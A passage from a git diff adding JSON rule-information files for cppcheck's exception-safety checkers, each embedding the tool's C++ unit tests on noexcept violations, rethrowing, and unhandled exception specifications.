ASSERT_EQUALS(\"[test.cpp:2:25]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:31]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:5:31]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() noexcept { return 0; }\\n\"\n \"const char *func1() noexcept { try { throw 1; } catch(...) {} return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowThrow() {\n check(\"void func1() throw(int) { try {;} catch(...) { throw 1; } ; }\\n\"\n \"void func2() throw() { throw 1; }\\n\"\n \"void func3() throw(int) { throw 1; }\\n\"\n \"void func4() throw() { func1(); }\\n\"\n \"void func5() throw(int) { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:4:24]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() throw() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #11691: FP throwInNoexceptFunction with if constexpr in template\n check(\"template\\n\"\n \"static void foo(size_t Size) noexcept(IsNoThrow) {\\n\"\n \" if constexpr (!IsNoThrow) {\\n\"\n \" throw std::bad_alloc();\\n\"\n \" }\\n\"\n \"}\\n\"\n \"foo(123);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unhandledExceptionSpecification1() { // #4800\n check(\"void myThrowingFoo() throw(MyException) {\\n\"\n \" throw MyException();\\n\"\n \"}\\n\"\n \"void myNonCatchingFoo() {\\n\"\n \" myThrowingFoo();\\n\"\n \"}\\n\"\n \"void myCatchingFoo() {\\n\"\n \" try {\\n\"\n \" myThrowingFoo();\\n\"\n \" } catch(MyException &) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function myThrowingFoo(). [unhandledExceptionSpecification]\\n\", errout_str());\n }\n\n void unhandledExceptionSpecification2() {\n check(\"void f() const throw (std::runtime_error);\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" f();\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unhandledExceptionSpecification3() {\n const char code[] = \"void f() const throw (std::runtime_error);\\n\"\n \"int _init() {\\n\"\n \" f();\\n\"\n \"}\\n\"\n \"int _fini() {\\n\"\n \" f();\\n\"\n \"}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" f();\\n\"\n \"}\\n\";\n\n check(code, dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function f(). [unhandledExceptionSpecification]\\n\"\n \"[test.cpp:6:5] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function f(). [unhandledExceptionSpecification]\\n\", errout_str());\n\n const Settings s = settingsBuilder().library(\"gnu.cfg\").build();\n check(code, dinit(CheckOptions, $.inconclusive = true, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowAttributeThrow() {\n check(\"void func1() throw(int) { throw 1; }\\n\"\n \"void func2() __attribute((nothrow)); void func2() { throw 1; }\\n\"\n \"void func3() __attribute((nothrow)); void func3() { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:53]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:53]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() __attribute((nothrow)); void func1() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowAttributeThrow2() {\n check(\"class foo {\\n\"\n \" void copyMemberValues() throw () {\\n\"\n \" copyMemberValues();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowDeclspecThrow() {\n check(\"void func1() throw(int) { throw 1; }\\n\"\n \"void __declspec(nothrow) func2() { throw 1; }\\n\"\n \"void __declspec(nothrow) func3() { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:36]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() __attribute((nothrow)); void func1() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void rethrowNoCurrentException1() {\n check(\"void func1(const bool flag) { try{ if(!flag) throw; } catch (int&) { ; } }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (error) Rethrowing current exception with 'throw;', it seems there is no current exception to rethrow.\"\n \" If there is no current exception this calls std::terminate(). More: https://isocpp.org/wiki/faq/exceptions#throw-without-an-object [rethrowNoCurrentException]\\n\", errout_str());\n }\n\n void rethrowNoCurrentException2() {\n check(\"void func1() { try{ ; } catch (...) { ; } throw; }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (error) Rethrowing current exception with 'throw;', it seems there is no current exception to rethrow.\"\n \" If there is no current exception this calls std::terminate(). More: https://isocpp.org/wiki/faq/exceptions#throw-without-an-object [rethrowNoCurrentException]\\n\", errout_str());\n }\n\n void rethrowNoCurrentException3() {\n check(\"void on_error() { try { throw; } catch (const int &) { ; } catch (...) { ; } }\\n\" // exception dispatcher idiom\n \"void func2() { try{ ; } catch (const int&) { throw; } ; }\\n\"\n \"void func3() { throw 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noFunctionCall() {\n check(\"void f() {\\n\" // #13803\n \" throw \\\"error\\\";\\n\"\n \"}\\n\"\n \"void g() noexcept {\\n\"\n \" auto pF = &f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestExceptionSafety)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/nothrowThrows.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/nothrowThrows.json new file mode 100644 index 0000000..b789d66 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/nothrowThrows.json @@ -0,0 +1,13 @@ +{ + "name": "nothrowThrows", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 27, + "branches": 10, + "apis": 23, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/rethrowNoCurrentException.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/rethrowNoCurrentException.json new file mode 100644 index 0000000..acf39f1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/rethrowNoCurrentException.json @@ -0,0 +1,24 @@ +{ + "name": "rethrowNoCurrentException", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 27, + "branches": 9, + "apis": 21, + "test": [ + { + "description": null, + "expected-problems": 3, + "expected-linenumbers": [ + 465, + 471, + 477 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkexceptionsafety.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestExceptionSafety : public TestFixture {\npublic:\n TestExceptionSafety() : TestFixture(\"TestExceptionSafety\") {}\n\nprivate:\n /*const*/ Settings settings;\n\n void run() override {\n settings.severity.fill();\n\n mNewTemplate = true;\n TEST_CASE(destructors);\n TEST_CASE(deallocThrow1);\n TEST_CASE(deallocThrow2);\n TEST_CASE(deallocThrow3);\n TEST_CASE(rethrowCopy1);\n TEST_CASE(rethrowCopy2);\n TEST_CASE(rethrowCopy3);\n TEST_CASE(rethrowCopy4);\n TEST_CASE(rethrowCopy5);\n TEST_CASE(catchExceptionByValue);\n TEST_CASE(noexceptThrow);\n TEST_CASE(nothrowThrow);\n TEST_CASE(unhandledExceptionSpecification1); // #4800\n TEST_CASE(unhandledExceptionSpecification2);\n TEST_CASE(unhandledExceptionSpecification3);\n TEST_CASE(nothrowAttributeThrow);\n TEST_CASE(nothrowAttributeThrow2); // #5703\n TEST_CASE(nothrowDeclspecThrow);\n TEST_CASE(rethrowNoCurrentException1);\n TEST_CASE(rethrowNoCurrentException2);\n TEST_CASE(rethrowNoCurrentException3);\n TEST_CASE(noFunctionCall);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n const Settings *s = nullptr;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.s ? *options.s : settings).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check char variable usage..\n runChecks(tokenizer, this);\n }\n\n void destructors() {\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" throw e;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Class x is not safe, destructor throws exception [exceptThrowInDestructor]\\n\"\n \"[test.cpp:3:9]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n check(\"class x {\\n\"\n \" ~x();\\n\"\n \"};\\n\"\n \"x::~x() {\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) Class x is not safe, destructor throws exception [exceptThrowInDestructor]\\n\"\n \"[test.cpp:5:5]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // #3858 - throwing exception in try block in destructor.\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" try {\\n\"\n \" throw e;\\n\"\n \" } catch (...) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" if(!std::uncaught_exception()) {\\n\"\n \" throw e;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // #11031 should not warn when noexcept false\n check(\"class A {\\n\"\n \"public:\\n\"\n \" ~A() noexcept(false) {\\n\"\n \" throw 30;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocThrow1() {\n check(\"int * p;\\n\"\n \"void f(int x) {\\n\"\n \" delete p;\\n\"\n \" if (x)\\n\"\n \" throw 123;\\n\"\n \" p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = foo;\\n\"\n \" delete p;\\n\"\n \" if (foo)\\n\"\n \" throw 1;\\n\"\n \" p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n }\n\n void deallocThrow2() {\n check(\"void f() {\\n\"\n \" int* p = 0;\\n\"\n \" delete p;\\n\"\n \" if (foo)\\n\"\n \" throw 1;\\n\"\n \" p = new int;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" reset(p);\\n\"\n \" throw 1;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocThrow3() {\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" throw 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" throw 1;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n }\n\n void rethrowCopy1() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& err)\\n\"\n \" {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy2() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(exception& err)\\n\"\n \" {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy3() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(std::runtime_error& err) {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy4() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& err)\\n\"\n \" {\\n\"\n \" exception err2;\\n\"\n \" throw err2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void rethrowCopy5() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& outer) {\\n\"\n \" try {\\n\"\n \" foo(outer);\\n\"\n \" }\\n\"\n \" catch(const exception& inner) {\\n\"\n \" throw inner;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& outer) {\\n\"\n \" try {\\n\"\n \" foo(outer);\\n\"\n \" }\\n\"\n \" catch(const exception& inner) {\\n\"\n \" throw outer;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void catchExceptionByValue() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch( ::std::exception err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Exception should be caught by reference. [catchExceptionByValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(const exception err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Exception should be caught by reference. [catchExceptionByValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch( ::std::exception& err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(exception* err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(const exception& err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(int err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(exception* const err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noexceptThrow() {\n check(\"void func1() noexcept(false) { try {} catch(...) {;} throw 1; }\\n\"\n \"void func2() noexcept { throw 1; }\\n\"\n \"void func3() noexcept(true) { throw 1; }\\n\"\n \"void func4() noexcept(false) { throw 1; }\\n\"\n \"void func5() noexcept(true) { func1(); }\\n\"\n \"void func6() noexcept(false) { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:31]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:5:31]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() noexcept { return 0; }\\n\"\n \"const char *func1() noexcept { try { throw 1; } catch(...) {} return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowThrow() {\n check(\"void func1() throw(int) { try {;} catch(...) { throw 1; } ; }\\n\"\n \"void func2() throw() { throw 1; }\\n\"\n \"void func3() throw(int) { throw 1; }\\n\"\n \"void func4() throw() { func1(); }\\n\"\n \"void func5() throw(int) { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:4:24]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() throw() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #11691: FP throwInNoexceptFunction with if constexpr in template\n check(\"template\\n\"\n \"static void foo(size_t Size) noexcept(IsNoThrow) {\\n\"\n \" if constexpr (!IsNoThrow) {\\n\"\n \" throw std::bad_alloc();\\n\"\n \" }\\n\"\n \"}\\n\"\n \"foo(123);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unhandledExceptionSpecification1() { // #4800\n check(\"void myThrowingFoo() throw(MyException) {\\n\"\n \" throw MyException();\\n\"\n \"}\\n\"\n \"void myNonCatchingFoo() {\\n\"\n \" myThrowingFoo();\\n\"\n \"}\\n\"\n \"void myCatchingFoo() {\\n\"\n \" try {\\n\"\n \" myThrowingFoo();\\n\"\n \" } catch(MyException &) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function myThrowingFoo(). [unhandledExceptionSpecification]\\n\", errout_str());\n }\n\n void unhandledExceptionSpecification2() {\n check(\"void f() const throw (std::runtime_error);\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" f();\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unhandledExceptionSpecification3() {\n const char code[] = \"void f() const throw (std::runtime_error);\\n\"\n \"int _init() {\\n\"\n \" f();\\n\"\n \"}\\n\"\n \"int _fini() {\\n\"\n \" f();\\n\"\n \"}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" f();\\n\"\n \"}\\n\";\n\n check(code, dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function f(). [unhandledExceptionSpecification]\\n\"\n \"[test.cpp:6:5] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function f(). [unhandledExceptionSpecification]\\n\", errout_str());\n\n const Settings s = settingsBuilder().library(\"gnu.cfg\").build();\n check(code, dinit(CheckOptions, $.inconclusive = true, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowAttributeThrow() {\n check(\"void func1() throw(int) { throw 1; }\\n\"\n \"void func2() __attribute((nothrow)); void func2() { throw 1; }\\n\"\n \"void func3() __attribute((nothrow)); void func3() { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:53]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:53]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() __attribute((nothrow)); void func1() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowAttributeThrow2() {\n check(\"class foo {\\n\"\n \" void copyMemberValues() throw () {\\n\"\n \" copyMemberValues();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowDeclspecThrow() {\n check(\"void func1() throw(int) { throw 1; }\\n\"\n \"void __declspec(nothrow) func2() { throw 1; }\\n\"\n \"void __declspec(nothrow) func3() { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:36]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() __attribute((nothrow)); void func1() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void rethrowNoCurrentException1() {\n check(\"void func1(const bool flag) { try{ if(!flag) throw; } catch (int&) { ; } }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (error) Rethrowing current exception with 'throw;', it seems there is no current exception to rethrow.\"\n \" If there is no current exception this calls std::terminate(). More: https://isocpp.org/wiki/faq/exceptions#throw-without-an-object [rethrowNoCurrentException]\\n\", errout_str());\n }\n\n void rethrowNoCurrentException2() {\n check(\"void func1() { try{ ; } catch (...) { ; } throw; }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (error) Rethrowing current exception with 'throw;', it seems there is no current exception to rethrow.\"\n \" If there is no current exception this calls std::terminate(). More: https://isocpp.org/wiki/faq/exceptions#throw-without-an-object [rethrowNoCurrentException]\\n\", errout_str());\n }\n\n void rethrowNoCurrentException3() {\n check(\"void on_error() { try { throw; } catch (const int &) { ; } catch (...) { ; } }\\n\" // exception dispatcher idiom\n \"void func2() { try{ ; } catch (const int&) { throw; } ; }\\n\"\n \"void func3() { throw 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noFunctionCall() {\n check(\"void f() {\\n\" // #13803\n \" throw \\\"error\\\";\\n\"\n \"}\\n\"\n \"void g() noexcept {\\n\"\n \" auto pF = &f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestExceptionSafety)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/unhandledExceptionSpecification.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/unhandledExceptionSpecification.json new file mode 100644 index 0000000..a7aa95a --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/unhandledExceptionSpecification.json @@ -0,0 +1,24 @@ +{ + "name": "unhandledExceptionSpecification", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 25, + "branches": 8, + "apis": 22, + "test": [ + { + "description": null, + "expected-problems": 3, + "expected-linenumbers": [ + 386, + 401, + 410 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkexceptionsafety.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestExceptionSafety : public TestFixture {\npublic:\n TestExceptionSafety() : TestFixture(\"TestExceptionSafety\") {}\n\nprivate:\n /*const*/ Settings settings;\n\n void run() override {\n settings.severity.fill();\n\n mNewTemplate = true;\n TEST_CASE(destructors);\n TEST_CASE(deallocThrow1);\n TEST_CASE(deallocThrow2);\n TEST_CASE(deallocThrow3);\n TEST_CASE(rethrowCopy1);\n TEST_CASE(rethrowCopy2);\n TEST_CASE(rethrowCopy3);\n TEST_CASE(rethrowCopy4);\n TEST_CASE(rethrowCopy5);\n TEST_CASE(catchExceptionByValue);\n TEST_CASE(noexceptThrow);\n TEST_CASE(nothrowThrow);\n TEST_CASE(unhandledExceptionSpecification1); // #4800\n TEST_CASE(unhandledExceptionSpecification2);\n TEST_CASE(unhandledExceptionSpecification3);\n TEST_CASE(nothrowAttributeThrow);\n TEST_CASE(nothrowAttributeThrow2); // #5703\n TEST_CASE(nothrowDeclspecThrow);\n TEST_CASE(rethrowNoCurrentException1);\n TEST_CASE(rethrowNoCurrentException2);\n TEST_CASE(rethrowNoCurrentException3);\n TEST_CASE(noFunctionCall);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n const Settings *s = nullptr;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.s ? *options.s : settings).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check char variable usage..\n runChecks(tokenizer, this);\n }\n\n void destructors() {\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" throw e;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Class x is not safe, destructor throws exception [exceptThrowInDestructor]\\n\"\n \"[test.cpp:3:9]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n check(\"class x {\\n\"\n \" ~x();\\n\"\n \"};\\n\"\n \"x::~x() {\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) Class x is not safe, destructor throws exception [exceptThrowInDestructor]\\n\"\n \"[test.cpp:5:5]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // #3858 - throwing exception in try block in destructor.\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" try {\\n\"\n \" throw e;\\n\"\n \" } catch (...) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" if(!std::uncaught_exception()) {\\n\"\n \" throw e;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // #11031 should not warn when noexcept false\n check(\"class A {\\n\"\n \"public:\\n\"\n \" ~A() noexcept(false) {\\n\"\n \" throw 30;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocThrow1() {\n check(\"int * p;\\n\"\n \"void f(int x) {\\n\"\n \" delete p;\\n\"\n \" if (x)\\n\"\n \" throw 123;\\n\"\n \" p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" 